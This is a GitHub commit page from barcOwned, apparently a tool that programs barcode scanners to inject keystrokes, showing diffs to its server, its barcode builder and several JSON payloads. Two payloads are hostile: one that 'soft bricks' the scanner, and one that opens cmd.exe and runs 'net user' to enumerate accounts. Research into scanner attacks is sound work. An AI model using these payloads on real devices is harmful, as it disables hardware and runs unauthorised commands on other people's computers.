Skip to content

Commit

Permalink
Merge branch 'master' of github.com:T3hUb3rK1tten/barcOwned-secret
Browse files Browse the repository at this point in the history
  • Loading branch information
magicspacekiwi committed Aug 12, 2018
2 parents d368b46 + a163e91 commit 1d52f2e
Show file tree
Hide file tree
Showing 6 changed files with 64 additions and 19 deletions.
1 change: 1 addition & 0 deletions Procfile
@@ -0,0 +1 @@
web: python main.py
9 changes: 5 additions & 4 deletions js/main.js
Expand Up @@ -326,21 +326,22 @@ jQuery(($) => {
aggregateBarcode = "^234" + // Reader programming
"N6" + // Begin 2D barcode
"S2681000" + // Config title follows?
"barcOwned " + // Configuration title
"N5" // Begin programming codes
"barcOwned " // Configuration title

setupBarcodes.forEach((barcode) => {
// FNC3 isn't needed in aggregate
aggregateBarcode += barcode.code.replace("^FNC3", "")
// N5 is prefixed on begin rules
.replace("7B1211", "N57B1211")
})
Logger.debug(["Raw aggregate barcode:", aggregateBarcode])
return [{
code: encodeC40(aggregateBarcode),
//code: encodeC40("^234N6S2681000barcOwned N57B12116C201B60B30B32B+6A1443526A14E5146A1433036A1106A1186A14470D4"),
symbology: 'datamatrix',
BWIPPoptions: {
raw : true
}
raw : true
}
}]
}

Expand Down
4 changes: 2 additions & 2 deletions main.py
Expand Up @@ -2,7 +2,7 @@
# to enable file saving functionality
runMode = "public"

from os import listdir, path
from os import listdir, path, getenv
import json
import os
from aiohttp import web
Expand Down Expand Up @@ -68,4 +68,4 @@ async def handle_payload_put(request):
name='root',
show_index=True)

web.run_app(app)
web.run_app(app, port = int(getenv('PORT', 8080)))
24 changes: 24 additions & 0 deletions payloads/brick.json
@@ -0,0 +1,24 @@
{
"name": "Brick",
"description": "Soft brick your barcode scanner!",

"setup": {
"options": [],
"rules": [
{
"criteria": [
],
"actions": [
["sendpausealt", "99"],
["sendpausealt", "99"]
]
}
]
},

"payload": [
"038000144158",
"please help",
"im trapped in a barcodefactory"
]
}
5 changes: 3 additions & 2 deletions payloads/run-cmd.json
Expand Up @@ -19,9 +19,10 @@
},
{
"criteria": [
["stringatstart", "^"]
["stringatstart", "~"]
],
"actions": [
["skipcharacters", 1],
["sendremaining"],
["sendenter"]
]
Expand All @@ -31,6 +32,6 @@

"payload": [
"!cmd.exe",
"^net user"
"~net user"
]
}
40 changes: 29 additions & 11 deletions payloads/tetris.json
@@ -1,18 +1,10 @@
{
"name": "Tetris",
"description": "Play Tetris slowly and awkwardly!",
"description": "Play Tetris slowly and awkwardly! Works for https://tetris.com/play-tetris",

"setup": {
"options": [],
"rules": [
{
"criteria": [
["stringatstart", "up"]
],
"actions": [
["sendarrowkey", "up"]
]
},
{
"criteria": [
["stringatstart", "down"]
Expand All @@ -36,14 +28,40 @@
"actions": [
["sendarrowkey", "right"]
]
},
{
"criteria": [
["stringatstart", "rotateleft"]
],
"actions": [
["sendtext", "z"]
]
},
{
"criteria": [
["stringatstart", "rotateright"]
],
"actions": [
["sendarrowkey", "up"]
]
},
{
"criteria": [
["stringatstart", "harddrop"]
],
"actions": [
["sendtext", " "]
]
}
]
},

"payload": [
"up",
"down",
"left",
"right"
"right",
"rotateleft",
"rotateright",
"harddrop"
]
}

0 comments on commit 1d52f2e

Please sign in to comment.